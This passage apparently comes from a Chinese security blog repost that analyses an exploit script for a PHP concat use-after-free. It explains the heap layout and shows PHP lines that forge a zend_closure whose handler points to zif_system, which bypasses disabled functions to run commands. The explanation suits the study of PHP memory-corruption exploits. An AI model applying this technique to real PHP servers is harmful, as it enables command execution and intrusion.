helper对象对应的zend_object内容的0x70=112的偏移处已经是一个新的块的起始位置(helper对应得zend_object占得是abc得空间,包含头只有128字节,写得时候只能从offset+24处开始写,所以offset+0x70就是新的字符串块儿的,原本abc的空间可写长度剩余128-24=104字节,向后跨越112字节,来到了新的128字节存储块的offset+8处,没有从offset+0处开始是保留了这里的空闲链表指针)。

连续向下写0x138=312B的数据,会非法占用abc后面的3个128B的块儿。

PHP的concat操作导致的UAF利用脚本分析

复制完后,就更改helper->b对应得zend_object结构的地址,让其指向新的zend_closure处。

为什么不直接更改zend_closure的handler

我们是任意读,但是受限写,只能写入abc块后面空间。而zend_closure在abc前面,所以只能复制到我们能写的地方,然后再处理。

处理一下

$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;//因为主版本的变化,这里的偏移量可能会有所不同,新版本的偏移量我没算
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);

zend_closure@offset+0x68处是zend_closure.zend_function.zend_internal_function.zif_handler,即函数句柄

同时,我们需要改掉一些标志位:

zend_closure@offset+0x38处是zend_closure.zend_function.zend_internal_function.type,将其更改为内部函数

#define ZEND_INTERNAL_FUNCTION              1

修改完新的zend_closure,将其赋给helper->b,这样我们就可以对特定standard模块内的函数进行调用了。

调用完后再修改回去,就OK了。

当然,因为我们非法占用了3个128字节的块儿,这些块儿会造成内存泄漏。

还有this->helper->a这个字符串,其对应的内容实质上只是一段内存,并不是真正的字符串,其长度会特别大,这个字符串也得修改回来,不过不该也无所谓了,内存泄漏就泄漏吧23333.


源:先知(https://xz.aliyun.com/t/6830)

注:如有侵权请联系删除



PHP的concat操作导致的UAF利用脚本分析



船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


PHP的concat操作导致的UAF利用脚本分析

欢迎大家加群一起讨论学习和交流

PHP的concat操作导致的UAF利用脚本分析

快乐要懂得分享,

才能加倍的快乐。


原文始发于微信公众号(衡阳信安):PHP的concat操作导致的UAF利用脚本分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月29日13:53:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP的concat操作导致的UAF利用脚本分析http://cn-sec.com/archives/1060377.html

发表评论

匿名网友 填写信息